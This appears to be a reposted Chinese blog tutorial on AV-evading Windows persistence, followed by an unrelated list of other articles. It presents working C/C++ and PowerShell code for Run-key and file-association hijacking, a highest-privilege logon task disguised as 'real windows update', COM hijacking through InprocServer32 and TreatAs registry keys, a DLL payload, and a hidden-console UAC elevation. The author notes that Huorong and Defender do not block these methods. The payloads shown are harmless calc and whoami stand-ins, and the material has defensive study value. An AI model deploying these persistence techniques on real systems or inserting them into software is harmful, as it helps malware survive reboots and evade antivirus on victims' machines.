浅谈免杀下的持久化

文章目录

    • 前记
    • 注册表
    • 计划任务
    • COM劫持
    • 后记
    • reference

前记

实战中持久化的手段常用的就是加服务、添改注册表、加计划任务、劫持等,这里探索c/c++下的维权免杀

注册表

用户级

\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

系统级(需要管理员权限)

\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce

详细代码

#include<stdio.h>
#include<windows.h>
int main(void)
{
	HKEY hKey;
	DWORD result;
	//打开注册表
	DWORD lRet = RegOpenKeyExA(
		HKEY_CURRENT_USER,
		"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
		0,
		KEY_SET_VALUE,
		&hKey
	);
	if (lRet != ERROR_SUCCESS)
		return 0;
	char szModule[MAX_PATH];
	GetModuleFileNameA(NULL, szModule, MAX_PATH);
	lRet = RegSetValueExA(
		hKey,
		"coleak",
		0,
		REG_SZ,
		(BYTE*)szModule,
		strlen(szModule)
	);
	if (lRet == ERROR_SUCCESS)
		printf("success\n");
	else
	{
		printf("failed");
	}
	RegCloseKey(hKey);
	return 0;
}

如果拿到了管理员权限,还可以通过后缀劫持进行维权

#include <windows.h>
#include <stdio.h>

void showErrorText(DWORD error_num);

int main()
{
    HKEY hKey;
    DWORD result;
    char szModule[MAX_PATH];
    GetModuleFileNameA(NULL, szModule, MAX_PATH);// 要替换的程序, 没写 %1 即调用时不会把双击的文件路径传给exe

    //打开注册表
    result = RegOpenKeyExA(
        HKEY_CLASSES_ROOT, "xxx\\shell\\Open\\command", // 要打开的注册表项名称
        0,              // 保留参数必须填 0
        KEY_SET_VALUE,  // 打开权限,写入
        &hKey           // 打开之后的句柄
    );

    if (result == ERROR_SUCCESS)
    {
        printf("open success!n");
    }
    else
    {
        printf("open failed!n");
        showErrorText(result);
        system("pause");
        return 0;
    }

    // 设置注册表的值
    result = RegSetValueExA(
        hKey,
        "",                // 设置默认值
        0,                 // 保留参数必须填 0
        REG_SZ,            // 键值类型为字符串
        (const unsigned char*)szModule, // 字符串首地址
        sizeof(szModule)       // 字符串长度
    );

    if (result == ERROR_SUCCESS)
    {
        printf("set success!n");
    }
    else
    {
        printf("set failed!n");
        showErrorText(result);
    }

    //关闭注册表:
    RegCloseKey(hKey);
    // 暂停
    system("pause");
    return 0;
}

/*
 * 根据错误码输出错误信息
 */
void showErrorText(DWORD error_num)
{
    char* msg = NULL;
    FormatMessageA(
        FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL,
        error_num,
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // 使用默认语言
        (LPSTR)&msg,
        0,
        NULL
    );

    printf("Error code %d: ", error_num);
    if (msg == NULL)
        printf("%sn", "Unknown error");
    else
        printf("%sn", msg);
}

这里测试火绒和微软的defender都是不拦截的

计划任务

  • 触发器:定义了何时执行任务。可能是一次性的、按日程的、或者是响应特定事件的。
  • 操作:定义了任务执行的具体操作。可能是启动应用程序、发送电子邮件、显示消息等。
  • 条件:定义了任务执行的条件。例如,你可以配置任务仅在计算机空闲或只在特定的电源情况下执行。
  • 设置:定义了任务的其他设置,例如任务失败时重试的次数,任务运行的最长时间等。
#include <atlbase.h>
#include <comdef.h>
#include <iostream>
#include <Windows.h>
#include <shlobj_core.h>
#include <taskschd.h>
#pragma comment(lib, "taskschd.lib")

ITaskService* m_lpITS = NULL;
ITaskFolder* m_lpRootFolder = NULL;


//初始化COM组件
void Init() {
	//1.CoInitialize初始化COM组件
	HRESULT hr = CoInitialize(NULL);
	if (FAILED(hr)) {
		MessageBox(NULL, L"初始化COM组件失败", L"Failed", MB_OK);
	}

	//2.CoCreateInstance创建任务服务对象
	hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (LPVOID*)&m_lpITS);
	if (FAILED(hr)) {
		MessageBox(NULL, L"创建任务服务失败", L"Failed", MB_OK);
	}
	//3.连接到任务服务
	hr = m_lpITS->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
	if (FAILED(hr)) {
		MessageBox(NULL, L"连接服务失败", L"Failed", MB_OK);
	}
	//4.从ITaskService对象中获取根任务Root Task Folder的指针对象ITaskFolder,这个指针指向新注册的任务
	hr = m_lpITS->GetFolder(_bstr_t("\\"), &m_lpRootFolder);
	if (FAILED(hr)) {
		MessageBox(NULL, L"获取指针失败", L"Failed", MB_OK);

	}
}

//卸载COM组件
void UnInit() {
	if (m_lpITS)
	{
		m_lpITS->Release();
	}
	if (m_lpRootFolder)
	{
		m_lpRootFolder->Release();
	}
	CoUninitialize();
}

//创建计划任务
BOOL CreateTask(const char* lpszTaskName, const char* lpszProgramPath, const char* lpszParameters, const char* lpszAuthor) {
	// 创建任务定义对象来创建任务
	
	//  If the same task exists, remove it.
	m_lpRootFolder->DeleteTask((BSTR)lpszTaskName,0);

	ITaskDefinition* pTaskDefinition = NULL;
	HRESULT hr = m_lpITS->NewTask(0, &pTaskDefinition);
	if (FAILED(hr))
	{
		return FALSE;
	}

	/* 设置注册信息 */
	IRegistrationInfo* pRegInfo = NULL;
	hr = pTaskDefinition->get_RegistrationInfo(&pRegInfo);
	if (FAILED(hr))
	{
		return FALSE;
	}
	// 设置作者信息
	hr = pRegInfo->put_Author(_bstr_t(lpszAuthor));
	pRegInfo->Release();

	/* 设置登录类型和运行权限 */
	IPrincipal* pPrincipal = NULL;
	hr = pTaskDefinition->get_Principal(&pPrincipal);
	if (FAILED(hr))
	{
		return FALSE;
	}
	// 设置登录类型
	hr = pPrincipal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN);
	// 设置运行权限
	// 最高权限
	hr = pPrincipal->put_RunLevel(TASK_RUNLEVEL_HIGHEST);
	pPrincipal->Release();

	/* 设置其他信息 */
	ITaskSettings* pSettting = NULL;
	hr = pTaskDefinition->get_Settings(&pSettting);
	if (FAILED(hr))
	{
		return FALSE;
	}
	// 设置其他信息
	hr = pSettting->put_StopIfGoingOnBatteries(VARIANT_FALSE);
	hr = pSettting->put_DisallowStartIfOnBatteries(VARIANT_FALSE);
	hr = pSettting->put_AllowDemandStart(VARIANT_TRUE);
	hr = pSettting->put_StartWhenAvailable(VARIANT_FALSE);
	hr = pSettting->put_MultipleInstances(TASK_INSTANCES_PARALLEL);
	pSettting->Release();

	/* 创建执行动作 */
	IActionCollection* pActionCollect = NULL;
	hr = pTaskDefinition->get_Actions(&pActionCollect);
	if (FAILED(hr))
	{
		return FALSE;
	}
	IAction* pAction = NULL;
	// 创建执行操作
	hr = pActionCollect->Create(TASK_ACTION_EXEC, &pAction);
	pActionCollect->Release();

	/* 设置执行程序路径和参数 */
	CComVariant variantProgramPath(NULL);
	CComVariant variantParameters(NULL);
	IExecAction* pExecAction = NULL;
	hr = pAction->QueryInterface(IID_IExecAction, (PVOID*)(&pExecAction));
	if (FAILED(hr))
	{
		pAction->Release();
		return FALSE;
	}
	pAction->Release();
	// 设置程序路径和参数
	variantProgramPath = lpszProgramPath;
	variantParameters = lpszParameters;
	pExecAction->put_Path(variantProgramPath.bstrVal);
	pExecAction->put_Arguments(variantParameters.bstrVal);
	pExecAction->Release();

	/* 创建触发器,实现用户登陆自启动 */
	ITriggerCollection* pTriggers = NULL;
	hr = pTaskDefinition->get_Triggers(&pTriggers);
	if (FAILED(hr))
	{
		return FALSE;
	}
	// 创建触发器,把触发器设置为
	ITrigger* pTrigger = NULL;
	hr = pTriggers->Create(TASK_TRIGGER_LOGON, &pTrigger);
	if (FAILED(hr))
	{
		return FALSE;
	}

	/* 注册任务计划  */
	IRegisteredTask* pRegisteredTask = NULL;
	CComVariant variantTaskName(NULL);
	variantTaskName = lpszTaskName;
	hr = m_lpRootFolder->RegisterTaskDefinition(variantTaskName.bstrVal,
		pTaskDefinition,
		TASK_CREATE_OR_UPDATE,
		_variant_t(),
		_variant_t(),
		TASK_LOGON_INTERACTIVE_TOKEN,
		_variant_t(""),
		&pRegisteredTask);
	if (FAILED(hr))
	{
		pTaskDefinition->Release();
		return FALSE;
	}
	pTaskDefinition->Release();
	pRegisteredTask->Release();
	return TRUE;
}


//删除计划任务
BOOL DeleteTask(char* lpszTaskName)
{
	if (NULL == m_lpRootFolder)
	{
		return FALSE;
	}
	CComVariant variantTaskName(NULL);
	variantTaskName = lpszTaskName;
	HRESULT hr = m_lpRootFolder->DeleteTask(variantTaskName.bstrVal, 0);
	if (FAILED(hr))
	{
		return FALSE;
	}

	return TRUE;
}
int main()
{
	const char* lpszTaskName = "real windows update";   //任务名
	const char* lpszProgramPath = "c:\\windows\\system32\\calc.exe";  //要执行的程序路径
	const char* lpszParameters = "whoami";     //程序参数
	const char* lpszAuthor = "coleak";

	Init();
	BOOL bRet = CreateTask(lpszTaskName, lpszProgramPath, lpszParameters, lpszAuthor);
	if (!bRet) {
		printf("Create Task Failed");
		return -1;
	}
	UnInit();
	printf("Successd");

	return 0;
}

如图计划任务以最高权限运行,但是程序本身需要管理员权限才能添加成功

在这里插入图片描述

COM劫持

常见的手段如下

  • 修改已有的InprocServer32指向我们生成的dll
Import-Module .\Get-ScheduledTaskComHandler.ps1
Get-ScheduledTaskComHandler

reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{6F58F65F-EC0E-4ACA-99FE-FC5A1A25E4BE}\InprocServer32" /d "C:\security\tmp\Dll.dll" /t REG_SZ /f
  • 设置计划任务通过 powershell 或 vbs 脚本来调用自己注册的恶意 COM

可以结合上面的写注册表和计划任务将vbs放到自启动去拉起com的函数

  • 利用现有任务进行劫持

Action 为 Comhandler 的计划任务调用的全是系统内置 COM,他们在注册表中的修改权限都是 trustedinstaller,其他用户都只有读取权限。(需要3389修改拥有者)

  • TreatAS键劫持

关键点是找到修改无需权限的节点,节点新建到HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID或者HKCU\Software\Classes\CLSID无需高权限

#定义
$HKLM = "HKLM:\software\classes\CLSID"
$CLSID = "{C5602CE6-9B79-11D3-B654-581BBAEF8DBA}"
$HijackCLSID = "{46C166AA-3108-11D4-9348-00C04F8EEB71}"
$DLL = "C:\tmp\calculator_x64.dll"
#新建恶意CLSID节点{C5602CE6-9B79-11D3-B654-581BBAEF8DBA}
New-Item -Type Directory "$HKLM\$CLSID"
#将键值指向恶意文件的路径并设置DLL线程模型
New-Item -ItemType String "$HKLM\$CLSID\InprocServer32" -value $DLL
New-ItemProperty -Path "$HKLM\$CLSID\InprocServer32" -Name "ThreadingModel" -Value "Both"
#在家庭网络配置管理器下CLSID节点新建TreatAs键并将默认值指向恶意CLSID节点
New-Item -ItemType String "$HKLM\$HijackCLSID\TreatAs" -value $CLSID
#调用测试
rundll32.exe -sta $HijackCLSID
#环境恢复,删除TreatAs键和恶意CLSID节点
Remove-Item -Path "$HKLM\$CLSID" -recurse
Remove-Item -Path "$HKLM\$HijackCLSID\TreatAs" -recurse

测试

1、先尝试直接写注册表免注册com

# include <windows.h>
# include <tchar.h>
#include<iostream>
using namespace std;
int main(void)
{
	HKEY hKey = NULL;
	char subKey[] = "SOFTWARE\\Classes\\CLSIDk\\{C5602CE6-9B79-12D3-B654-581BBAEF8DCD}";
	DWORD dwOptions = REG_OPTION_NON_VOLATILE;
	DWORD dwDisposition;
	long resulte = RegCreateKeyExA(HKEY_CURRENT_USER, subKey, 0, NULL,
		dwOptions, KEY_WRITE, NULL, &hKey, &dwDisposition);
	char szModule[MAX_PATH]="C:\\security\\tmp\\ATLProject1.dll";
	DWORD lRet = RegSetValueExA(
		hKey,
		"InprocServer32",
		0,
		REG_SZ,
		(BYTE*)szModule,
		strlen(szModule)
	);
	if (lRet == ERROR_SUCCESS)
		printf("success\n");
	else
	{
		printf("failed");
	}
	RegCloseKey(hKey);
	return 0;
}

调用的时候会报错如下:80040154 没有注册类(注册需要管理员权限),同时添加计划任务也需要管理员权限,非常不安全不建议这么搞

2、枚举可用于 COM 劫持的计划任务,然后在user注册表提前劫持或者通过TreatAS劫持

Import-Module .\Get-ScheduledTaskComHandler.ps1
Get-ScheduledTaskComHandler -PersistenceLocations

测试的dll必须加互斥规则

BOOL TestMutex()
{
	HANDLE hMutex = CreateMutex(NULL, false, "myself");  
	if (GetLastError() == ERROR_ALREADY_EXISTS)
	{
		CloseHandle(hMutex);
		return 0;  
	}
	return 1;
}
BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
    switch (ul_reason_for_call)
	{
		case DLL_PROCESS_ATTACH:
			if(TestMutex()==0)
				return TRUE;
			WinExec("calc.exe",SW_SHOWNORMAL);
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
			break;
    }return TRUE;
}

后记

注册表功能

名称作用
HKEY_CLASSES_ROOT用于存储一些文档类型、类、类的关联属性。
HKEY_CURRENT_CONFIG用户存储有关本地计算机系统的当前硬件配置文件信息。
HKEY_CURRENT_USER用于存储当前用户配置项。
HKEY_LOCAL_MACHINE用于存储当前用户物理状态。
HKEY_USERS用于存储新用户的默认配置项。

CLSID

CLSID是微软提出的一个概念,中文翻译为:全局唯一标识符。CLSID是指Windows系统对于不同的应用程序,文件类型,OLE对象,特殊文件夹以及各种系统组件分配的一个唯一表示它的ID代码,用于对其身份的标识和与其他对象进行区分。

常见的CLSID:

{20D04FE0-3AEA-1069-A2D8-08002B30309D} 我的电脑
{450D8FBA-AD25-11D0-98A8-0800361B1103} 我的文档
{645FF040-5081-101B-9F08-00AA002F954E} 回收站

CLSID结构体:

typedef struct _GUID {
	DWORD Data1; // 随机数
	WORD Data2; // 和时间相关
	WORD Data3; // 和时间相关
	BYTE Data4[8]; // 和网卡MAC相关
	} GUID;
	typedef GUID CLSID;  // 组件ID
	typedef GUID IID;    // 接口ID

注册表中的CLSID

CLSID Key:

Key Name说明
LocalServer32指定应用程序使用的自定义处理程序,即exe路径
InprocServer32/InprocHandler32模块、线程属性配置,即dll路径

COM组件寻找顺序

  • 1.HKCU\Software\Classes\CLSID
  • 2.HKCR\CLSID;HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID
  • 3.HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\

理论上可行的3种劫持方案:

  • HKCR中有,而HKCU中没有,只需要在HKCU中注册即可劫持HKCR中的COM服务。
  • 修改掉LocalServer32InprocServer32的键值。
  • 替换掉LocalServer32InprocServer32的键值中的文件。

注册调用编写的com

regsvr32.exe -i ATLProject1.dll #这是注册
regsvr32.exe /u ATLProject1.dll #这是卸载
  • vbs
set com=CreateObject("ATLProject1.temp")
dim num
num=com.Number(2)
msgbox num
  • powershell
[activator]::CreateInstance([type]::GetTypeFromCLSID("1006b886-9932-45f8-ad39-bec8c210e15e")).Number(2)
  • cmd
rundll32.exe -sta {CLSID}

请求管理员

VOID ManagerRun(LPCSTR exe, LPCSTR param)
{
    SHELLEXECUTEINFOA ShExecInfo;
    ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
    ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS;
    ShExecInfo.hwnd = NULL;
    ShExecInfo.lpVerb = "runas";
    ShExecInfo.lpFile = exe;
    ShExecInfo.lpParameters = param;
    ShExecInfo.lpDirectory = NULL;
    ShExecInfo.nShow = SW_SHOW;
    ShExecInfo.hInstApp = NULL;
    BOOL ret = ShellExecuteExA(&ShExecInfo);
    //杀掉当前线程
    CloseHandle(ShExecInfo.hProcess);
    return;
}

int main(int argc, char* argv[]) {
    if (argc == 1) //初次运行,即双击EXE
    {
        ShowWindow(GetConsoleWindow(), SW_HIDE);
        ManagerRun(argv[0], "2");
        return 1;
    }
    else if (argc == 2) //再次运行,即上面那个ManagerRun
    {
		function();
        /*你的程序主代码在此*/

    }

    return 0;
}

reference

https://ruyueattention.github.io/2021/12/26/COM%E5%8A%AB%E6%8C%81/
https://bu1.github.io/2021/11/27/COM%E7%BB%84%E4%BB%B6%E5%8A%AB%E6%8C%81%E5%AD%A6%E4%B9%A0%EF%BC%9A%E4%BB%8E%E5%88%9D%E8%AF%86%E5%88%B0%E7%AE%80%E5%8D%95%E5%88%A9%E7%94%A8/
https://www.4hou.com/posts/Mo51
https://lellansin.wordpress.com/2014/07/28/%E6%9C%A8%E9%A9%AC%EF%BC%8C%E4%BD%A0%E5%A5%BD%EF%BC%81%EF%BC%88%E5%85%AB%EF%BC%89%E6%B3%A8%E5%86%8C%E8%A1%A8%E6%93%8D%E4%BD%9C/
https://github.com/enigma0x3/Misc-PowerShell-Stuff/
https://sp4zcmd.github.io/2021/02/28/%E4%BD%BF%E7%94%A8COM%E7%BB%84%E4%BB%B6%E5%88%9B%E5%BB%BA%E8%AE%A1%E5%88%92%E4%BB%BB%E5%8A%A1/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/571952.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

正则表达式.java

正则表达式的作用&#xff1a; ①可以校验字符串是否满足一定的规则&#xff0c;并用来校验数据格式的合法性&#x1f9f8; &#x1f9e9;[]:只能是括号里的字符 &#x1f9e9;[^]&#xff1a;除了括号里的字符 &#x1f9e9;[- -]:表示两段范围&#xff0c;满足其一即可 &a…

Linux系统内存持续飙高,如何排查

若一台服务器内存使用率持续处于高峰值&#xff0c;可能会导致响应慢&#xff08;如&#xff1a;ssh操作卡顿、用户访问失败或超时等&#xff09; 1.查看系统内存使用情况 free -m 2.查看哪些进程内存占用比较高 top 或htop 观察进程PID和命令确认是哪一个进程占用内存较高 …

Mogdb 5.0新特性:SQL PATCH绑定执行计划

前言 熟悉Oracle的dba都知道&#xff0c;生产系统出现性能问题时&#xff0c;往往是SQL走错了执行计划&#xff0c;紧急情况下&#xff0c;无法及时修改应用代码&#xff0c;dba可以采用多种方式针对于某类SQL进行执行计划绑定&#xff0c;比如SQL Profile、SPM、SQL Plan Base…

【prometheus】监控MySQL并实现可视化

目录 一、概述 1.1下载解压mysqld_exporter 1.2创建MySQL授权用户 1.3配置my.cnf 1.4启动mysqld_exporter 1.5prometheus配置修改 二、Grafana展示 【Prometheus】概念和工作原理介绍_prometheus工作原理 【Prometheus】k8s集群部署node-exporter 【prometheus】k8s集…

Python | Leetcode Python题解之第48题旋转图像

题目&#xff1a; 题解&#xff1a; class Solution:def rotate(self, matrix: List[List[int]]) -> None:n len(matrix)# 水平翻转for i in range(n // 2):for j in range(n):matrix[i][j], matrix[n - i - 1][j] matrix[n - i - 1][j], matrix[i][j]# 主对角线翻转for …

验证二叉搜索树 - LeetCode 热题 43

大家好&#xff01;我是曾续缘&#x1f618; 今天是《LeetCode 热题 100》系列 发车第 43 天 二叉树第 8 题 ❤️点赞 &#x1f44d; 收藏 ⭐再看&#xff0c;养成习惯 验证二叉搜索树 给你一个二叉树的根节点 root &#xff0c;判断其是否是一个有效的二叉搜索树。 有效 二叉搜…

【Linux】什么是yum?--linux中的软件包管理器详解

&#x1f490; &#x1f338; &#x1f337; &#x1f340; &#x1f339; &#x1f33b; &#x1f33a; &#x1f341; &#x1f343; &#x1f342; &#x1f33f; &#x1f344;&#x1f35d; &#x1f35b; &#x1f364; &#x1f4c3;个人主页 &#xff1a;阿然成长日记 …

UML——类图详解

目录 1. 前言 2. 类图概述 3. 类图表示法 3.1 类的表示方式 3.2 类与类之间关系的表示方式 (1)继承(泛化)关系 (2)实现关系 (3)依赖关系 (4)一般关联关系 (5)聚合关系 (6)组合关系 1. 前言 UML全称(Unified Modeling Language)&#xff0c;译为统一建模语言&#x…

FRPC+PHP+MYSQL+APACHE2=个人网站

应用背景有公网需求,但是又不想去买又贵又低配置的服务器,然后方案就应运而生 frp/README_zh.md at dev fatedier/frp (github.com) 在这里, FRPC作为内网穿透服务, PHPMYSQLAPACHE2,作为网站搭建,具体细节不细讲, 但是在我的/var/www/html下面 linaroHinlink:/var/www/h…

代码随想录算法训练营Day8 | ● 344.反转字符串● 541. 反转字符串II● 54.替换数字● 151.翻转字符串里的单词● 55.右旋转字符串

&#xff08;记得重学&#xff09; ● 344.反转字符串 题目&#xff1a;编写一个函数&#xff0c;其作用是将输入的字符串反转过来。输入字符串以字符数组 s 的形式给出。 不要给另外的数组分配额外的空间&#xff0c;你必须原地修改输入数组、使用 O(1) 的额外空间解决这一…

【蓝桥杯2025备赛】集合求和

集合求和 题目描述 给定一个集合 s s s&#xff08;集合元素数量 ≤ 30 \le 30 ≤30&#xff09;&#xff0c;求出此集合所有子集元素之和。 输入格式 集合中的元素&#xff08;元素 ≤ 1000 \le 1000 ≤1000&#xff09; 输出格式 s s s 所有子集元素之和。 样例 #1 …

JAVAEE—HTTP

文章目录 HTTP导读HTTP解析HTTP的格式分析环境准备 HTTP请求格式首行headerHostContent-LengthContent-TypeUser-Agent (简称 UA)RefererCookie 空行body HTTP响应格式认识HTTP的方法POST方法POST和GET的区别第一&#xff1a;用处第二&#xff1a;传递数据第三&#xff1a;GET不…

【漏洞复现】通天星CMSV6车载监控平台Logger未授权漏洞

漏洞描述&#xff1a; 通天星CMSV6车载定位监控平台拥有以位置服务、无线3G/4G视频传输、云存储服务为核心的研发团队&#xff0c;专注于为定位、无线视频终端产品提供平台服务&#xff0c;通天星CMSV6产品覆盖车载录像机、单兵录像机、网络监控摄像机、行驶记录仪等产品的视频…

Sylar C++高性能服务器学习记录05 【线程模块-知识储备篇】

早在19年5月就在某站上看到sylar的视频了&#xff0c;一直认为这是一个非常不错的视频&#xff0c;还有幸加了sylar本人的wx&#xff0c;由于本人一直是自学编程&#xff0c;基础不扎实&#xff0c;也没有任何人的督促&#xff0c;没能坚持下去&#xff0c;每每想起倍感惋惜。恰…

Android IPC | Android多进程模式

前 言 关于Android的进程间通信&#xff08;即IPC&#xff09;有很多种方式&#xff0c;比如我们常用的AIDL、Socket等&#xff0c;而其中最重要而且最需要掌握的就是AIDL的使用和原理&#xff0c;简单来说它是通过Binder实现的。 关于Binder的知识点非常多&#xff0c;当我们…

libtorrent - 安装小记

文章目录 官方文档&#xff1a;libtorrent python binding http://libtorrent.org/python_binding.html 1、下载代码 建议使用&#xff1a; git clone --recurse-submodules https://github.com/arvidn/libtorrent.git如果在 github web 界面下载代码&#xff0c;build 的时候…

sentinel-1.8.7与nacos-2.3.0实现动态规则配置、双向同步

&#x1f60a; 作者&#xff1a; 一恍过去 &#x1f496; 主页&#xff1a; https://blog.csdn.net/zhuocailing3390 &#x1f38a; 社区&#xff1a; Java技术栈交流 &#x1f389; 主题&#xff1a; sentinel-1.8.7与nacos-2.3.0实现动态规则配置、双向同步 ⏱️ 创作时…

FL Studio21.2中文破解版下载2024最新五月破解步骤教程

FL Studio 21.2.3.4004中文版 中文别名水果编曲软件&#xff0c;是一款全能的音乐制作软件&#xff0c;包括编曲、录音、剪辑和混音等诸多功能&#xff0c;让你的电脑编程一个全能的录音室&#xff0c;它为您提供了一个集成的开发环境&#xff0c;使用起来非常简单有效&#xf…

MATLAB命令

MATLAB是一个用于数值计算和数据可视化的交互式程序。您可以通过在命令窗口的MATLAB提示符 ‘>>’ 处键入命令来输入命令。 在本节中&#xff0c;我们将提供常用的通用MATLAB命令列表。 用于管理会话的命令 MATLAB提供了用于管理会话的各种命令。下表提供了所有此类命令…

基于springboot+vue+Mysql的CSGO赛事管理系统

开发语言&#xff1a;Java框架&#xff1a;springbootJDK版本&#xff1a;JDK1.8服务器&#xff1a;tomcat7数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09;数据库工具&#xff1a;Navicat11开发软件&#xff1a;eclipse/myeclipse/ideaMaven包&#xff1a;…